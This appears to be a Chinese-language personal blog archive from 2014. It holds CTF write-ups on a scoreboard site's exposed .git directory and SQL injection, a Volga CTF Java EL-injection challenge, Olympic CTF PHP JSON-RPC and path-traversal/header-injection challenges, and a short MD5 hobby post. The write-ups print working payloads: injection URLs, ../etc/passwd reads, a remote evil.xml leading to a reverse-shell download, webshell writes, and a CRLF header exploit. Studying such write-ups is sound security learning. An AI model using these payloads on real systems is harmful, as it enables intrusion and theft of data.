2014年3月31日 星期一

Pw3ed CTF LeaderBoard - Git Misconfiguration & SQL Injection




(前情提要)

某月某日晚上,人在外面有約正巧無法參與在週末所舉辦的 CTF

這次的這個 CTF 競賽似乎是某個國家某個實驗室第一次舉辦的對外 CTF 競賽,在 Ctftime.org 也有獨立頁面

結束回到家時競賽正好剩下最後幾個小時,在朋友的 Wargame 討論頻道內看到了一個鏈結

這次的競賽很特別的一點是,有所謂 hidden flag 的設計,會有額外的分數藏在計分板網站的各個角落

在對網站搜索的過程中,會不會找著找著就不小心找進去計分板裡面呢? 這篇就是再說這樣的一個故事


(目前網站漏洞已修復)


一開始看到的是這個鏈結
http://vulnerability-leader-board/error_log

看起來是網站開發時的 Error Log 以及 Apache 的設置沒設置好

看到這樣子的內容暴露在網路上,可以想像整個網站的防護應該不是很完整的,因此我們繼續來深入看看

整個網站是用 PHP, Apache, MySQL, Ubuntu 所架設,

PHP 的部分使用了 MVC 的架構,整個網站逛了一下發現安全設定似乎沒有很嚴謹,表面上看起來很 ok 不過在一些小細節的處理上滿容易噴出錯誤訊息的

如把 ?team=foo 置換成 ?team[]=foo 很容易噴出如
Warning: substr() expects parameter 1 to be string, array given in /home/deploy/vulnerability-leader-board/handlers/team_handler.php on line 146
等錯誤訊息。



再翻翻發現了
http://vulnerability-leader-board/phpmyadmin/
http://vulnerability-leader-board/.git/
的目錄。

許多開發者會將 Git, SVN 或者 CVS clone(checkout) 到正式上線的網站上,

這時如果未將權限設置好,攻擊者可以透過這些版本控管軟體所留下的資訊,取得敏感資訊。
(某些狀況甚至可以獲取原始碼)

http://vulnerability-leader-board/.git/config
http://vulnerability-leader-board/.git/index
 
從 config 可以看到,使用了 github.com 的平台,以及哪個 Repository 以及 Github 帳號資訊等
(不過在那個時候無法從 Github 存取到,似乎那個 repo 是 private 的或者已經移除)


從 index 可以取得網站目錄結構

懶人可以直接 curl http://vulnerability-leader-board/.git/index | strings 快速爬出


從目錄結構已經可以發現些有趣的東西了,

已經可以看到一些題目的 FLAG 了,因為某些題目的 FLAG 是以檔案形式放在網站上,也可以發現一些 Hidden Flags

接著再依照剛剛的目錄結構對現有檔案做一次觀察,發現了開發者留下的測試頁面
http://vulnerability-leader-board/nemoscript.php
點進去會發現


「 pass a team 」
恩,好,你要隊伍名稱我就給你嘛 ʅ(´◔౪◔)ʃ

我的隊伍名稱叫做 「 a' 」
http://vulnerability-leader-board/nemoscript.php?team=a' 


看來是 SQL Injection,而且還是個 Error Based 的 SQL Injection ...

再來看看一下權限高不高,
http://vulnerability-leader-board/nemoscript.php?team=a' and exists (select * from mysql.user)%23
恩...

可以存取 mysql.user 以及又跑在 localhost 以及又存在 phpmyadmin

這麼完美的組合好久沒遇到了

接著就是丟到 owst ...

可以讀取檔案(/etc/passwd)




所有的註冊隊伍使用者
(#plainpass)



接下來就是最 High 的,所有題目的 Flags



到這裡囉,舉辦一次 CTF 競賽也是很辛苦的!

總而言之這是一次很有趣的體驗 :P

2014年3月30日 星期日

Volga CTF 2014 Web 400 write up



回到家看到 CRAX Team 在玩 VolgaCTF 就順手玩了一下

解這題的時候順便讓我練習到了之前就想好好惡補一下的 EL 注入(Expression Language Injection) ,最後花了滿多時間再用 Java 的 Reflection API 來找到可利用的地方


網址點開為一個類似 Twitter 的個人留言板服務



註冊登入後長得如下,共有新增留言、設定、個人首頁、登出的功能



接下來就是開始找尋漏洞的時候,找的方法不外乎那些XD

最後是發現在設定的地方有個可以讓使用者自行指定布景 (header)的功能


使用 Tamper Data 對我們送出的資訊進行截取,


可以發現,送出的資料中 header 的部分是一個檔案路徑的形式存在
./headers/bar.xhtml
網站透過這個功能去引用自己的 template 以達到使用者自定布景主題的效果

因此我們來試試看,將 header 設為 ../../../../../etc/passwd 看會出現什麼事情?



網站死掉了...

任何功能都無法操作,只能把 Cookie 清空再註冊一個帳號嘗試,之後的步驟都是這樣,只要一個地方出錯就要重新註冊一個帳號重來一次XD

這點滿麻煩的,不過多少達到讓駭客覺得麻煩防駭客的效果XD

不過從錯誤資訊可以看到,網站使用了 <ui:include src="..."> 的方式引入檔案,所以透過這個功能我們可以引入伺服器上的任意檔案
(但是只限定於 html, xml 格式,不然再處理時會出錯一樣無法看到檔案內容)

雖然有格式限制,但我們可以嘗試引入網站 Java Servlet 的設定檔 WEB-INF/web.xml 來讀取一些設定


現在已經定位了漏洞的地方了,接下來是如何的利用?

發現,在引入的時候不只可以引入本地檔案,也可以利用 http://yourhome/foo.xml 的方式引入外部 html 或者 xml

但是只是引入 html 或者 xml 有什麼用呢?

在許多 Java Servlet 裏面(如 Struts, Spring Framework GlassFish etc...)我們可以使用一種叫做 EL 的語言,EL 本意是用來降低後端程式跟前端的困擾,讓兩者出來的程式可以更快速地結合

使用的方式是使用 ${...EL...} 這樣的方式執行,

所以我們將 header 設為自己伺服器上的檔案 http://yourhome.com/evil.xml

並將 evil.xml 內容設定為
<f:view xmlns:f="http://java.sun.com/jsf/core"
        xmlns:h="http://java.sun.com/jsf/html" >
<h:inputText id="userName" value='${300*1+1}'/>
</f:view> 


可以看到 300*1+1 有確實的被執行到變成 301 惹

再用 applicationScope 查看一下伺服器設定,

<f:view xmlns:f="http://java.sun.com/jsf/core" 
        xmlns:h="http://java.sun.com/jsf/html" >
<h:inputText id="userName" value='${applicationScope}'/>
</f:view>



可以查看一些敏感資訊,最後是執行指令的部分

EL 有對於一些危險指令做了一些限制,不過這些限制是可以繞過

相關 paper 可以參考 Remote Code with Expression Language Injection

內文中使用 Java Reflection API 的方式拿到 URLClassLoader 去讀取自己所寫好惡意的Java class 檔案

但是伺服器上的環境似乎跟 Paper 不太相同,所以不能直接使用上面的攻擊代碼,必須小改一下

伺服器上似乎沒有 pageContext 這個全域變數,所以無法透過它去取得 ServletContext 的 class

所以那時候就在慢慢踹,對其他已知的全域變數用 Relfection API  想辦法拿到ServletContext 這個 class

最後發現可以改用 session.getServletContext(),因此改寫上面的攻擊代碼

http://yourhome.com/evil.xml




http://yourhome.com/Malicious.class 要放上你要執行的 Java 程式

我這裡放的是從自己的 server 上下載反連的 perl script,並且執行




結果如下




FLAG W0W_S0_J@V@_SUCH_EL_V3RY_RCE


2014年2月10日 星期一

Olympic CTF 2014 CURLing 400 write up



Olympic CTF CURLing 400 的 write up

前言可以參考 Olympic CTF 2014 CURLing 200 write up

這題也是個人覺得出的非常不錯的題目之一,

要解開必須很熟悉 PHP 的特性以及攻擊手法才能解開這道題目,

網址打開是一個白畫面,有個 PHP 的錯誤訊息
Notice: Undefined index: rpc_json_call in /var/www/index.php on line 27


有再寫 PHP 的同學應該馬上可以知道這個 Notice 這是少了一個 GPC 參數的警告,

所以我們可以自己補上 POST
rpc_json_call=blablalba


哦,會發現錯誤訊息變了

Google 搜尋一下 JSON RPC 的標準,照著標準送出
rpc_json_call={"jsonrpc": "2.0", "method": "subtract", "params": [42, 23], "id": 1} 


會發現錯誤訊息又變了

哦?不正確的 method 名稱?

這時候可以猜測 method 名稱,不過笨蛋才會亂猜 :p

有範圍的猜測會比盲目的亂猜好太多,

如果對 PHP 夠了解,會知道 PHP class 上都會有一些 Magic Method 存在,

經過測試會發現 __construct 以及 __wakeup 是可以使用的!

送出
rpc_json_call={"jsonrpc": "2.0", "method": "__construct", "params":[1,2], "id": 1} 


錯誤訊息又變了! 不過從這次的錯誤訊息中可以得到資訊,知道了 __construct 的參數有三個,log_dir, debug, 以及 state

一樣偽造這三個參數的值後送出
rpc_json_call={"jsonrpc": "2.0", "method": "__construct", "params":{"log_dir":"aa", "debug":true, "state": "foo"}, "id": 1}


發現是白畫面T____T

到這邊卡住了一下,也許 __construct 只是去設定了 log_dir, debug 以及 state 這三個參數並沒有其他動作,所以是不是能在一個 reuqest 內執行兩次 JSON RPC CALL 呢(?

沒有翻得很勤勞不過猜測在一個 array 內送兩個 json hash 竟然可以XDDD
rpc_json_call=[
{"jsonrpc": "2.0", "method": "__construct", "params":{"log_dir":"aa", "debug":true, "state": "foo"}, "id": 1},
{"jsonrpc": "2.0", "method": "__wakeup", "params":{}, "id": 1}
] 

哦,loged ? 啊是 log 三小XDDDD

把 log_dir 參數改一下改成 /var/www 看看


竟然說 permission denied XD

那嘗試 /tmp/ 呢?


看來是真的可以寫檔,那它寫了什麼呢?

可以用 out-of-bound 的方法利用 PHP 支援的 wrapper 把內容給寫出來
(PHP 支援的話甚至可以用 except://ls 執行指令)

利用 php://output 可以把內容寫到網頁上,


原來寫了一個 serialize 過後的 PHP Object 進去,難怪會用到 __wakeup 的 magic method

所以我們可以嘗試把 webshell 寫到 /var/www/ 內

不過因為 server 的設定,似乎每隔一秒會定時把 /var/www 的檔案清掉,所以如果手速不夠快會一直以為自己沒有寫成功
(哭哭T___T)

所以寫個 script 搞定!



執行 ls -alh


執行 cat /FLAG
CTF{b15ffee30a117f418d1cede6faa57778}


<( ̄︶ ̄)>


Olympic CTF 2014 CURLing 200 write up



最近剛好玩了一下 Olympic CTF ,解了一些題目,

其中有幾題讓自己印象深刻,還滿有趣的所以來記錄一下 XD


-----
400 分的可以參考另外一篇 CURLing 400
----

首先是 CURLing 200 分~

打開是一個新聞系統的頁面


其中選取新聞的參數似乎是去讀取檔案,並且存在 Directory Traversal 漏洞,可以透過 ../ 來偽造路徑
(還記得 遠通 嗎 XDD)

http://109.233.61.11:27280/news/?f=./31-12-2013
漏洞判斷方式是把原本的參數加上 ./ 會顯示與原本的頁面一樣

所以可以利用 ../ 去讀取伺服器上的檔案(知道路徑以及權限足夠),如
http://109.233.61.11:27280/news/?f=../../../../etc/passwd

也可以讀取 /proc/self/cmdline 來得知當前運行什麼程序
http://109.233.61.11:27280/news/?f=../../../../proc/self/cmdline
可以知道這個新聞系統是用 Pyhton + Django + Gunicorn 所架設的


翻了一下似乎都找不到什麼有用的資訊,所以來看看 Nginx 還有藏什麼網頁服務在?

猜一下 Nginx.conf 的預設位置
http://109.233.61.11:27280/news/?f=../../../../etc/nginx/nginx.conf

看不到什麼有用的資訊,不過沒關係我們在繼續猜
http://109.233.61.11:27280/news/?f=../../../../etc/nginx/sites-enabled/default
Got it. 看到了 /secret/flag 的 URL pattern 似乎可以得到目標 flag


但是直接 Access 會出現 404 Not Found T______T


仔細再看一下 /etc/nginx/sites-enabled/default 檔案,會發現有 internal 以及 root 的字樣,

查一下 官方 manual 會發現這是 Nginx 的功能之一可以用來保護檔案,

至於存取的方法是 Nginx 判斷 server 是否有送出 X-Accel-Redirect 的 header,如果有才允許使用者存取檔案,

但是這個 header 是 server 端控制,所以使用者無法偽造,


在這邊卡了一下子,不過再仔細觀察整個新聞系統發現網頁其實存在另外一個漏洞,

在瀏覽新聞的時候下方回首頁的連結是透過一個參數 retpath 控制的

伺服器端實現的原理是把 retpath 的值放進 Location header 裡隨著 server 一起送回來,

如送出
http://109.233.61.11:27280/?retpath=foooo
則 server 吐回的則是 Location: foooo
所以在這個情況下,存在 HTTP Response Splitting 弱點,不過我們可以不用偽造整個 request 只要偽造一個 header 就好了例如
http://109.233.61.11:27280/?retpath=foo%0d%0afake_header:fake_value
則可以成功偽造一個 fake_header 的 header

所以如果沒有搭配上面的 ../ 找出 Nginx 設定檔案,可能只會把這個當成一個沒有大危害的弱點
(只能針對 Client Side 攻擊)

不過當配合上面 Nginx internal 的設定以及這個漏洞,組合技的效果就出來了,這也是我覺得這次題目出得不錯的原因之一XD

送出
http://109.233.61.11:27280/?retpath=foo%0d%0aX-Accel-Redirect:/secret/flag
就可以得到 flag 惹!
CTF{6e75d02b8e8329bb4b45c7dabd2e1da2} 


2013年12月25日 星期三

MD5 for Fun - Fun with MD5 hashes


想了一下還是發個文章來記錄一下xD

----

最近在整理硬碟,
因為好玩寫了一個網站(服務?)

http://md5fun.exp.tw

收集
Maximum MD5 Hash
(F 開頭最多最大的 MD5 hash)

Minimum MD5 Hash
(0 開頭最多最小的 MD5 hash)

Funny MD5 Hashes
(好玩的 MD5 hashes,連號最多、有特殊規則等)


開放投稿:)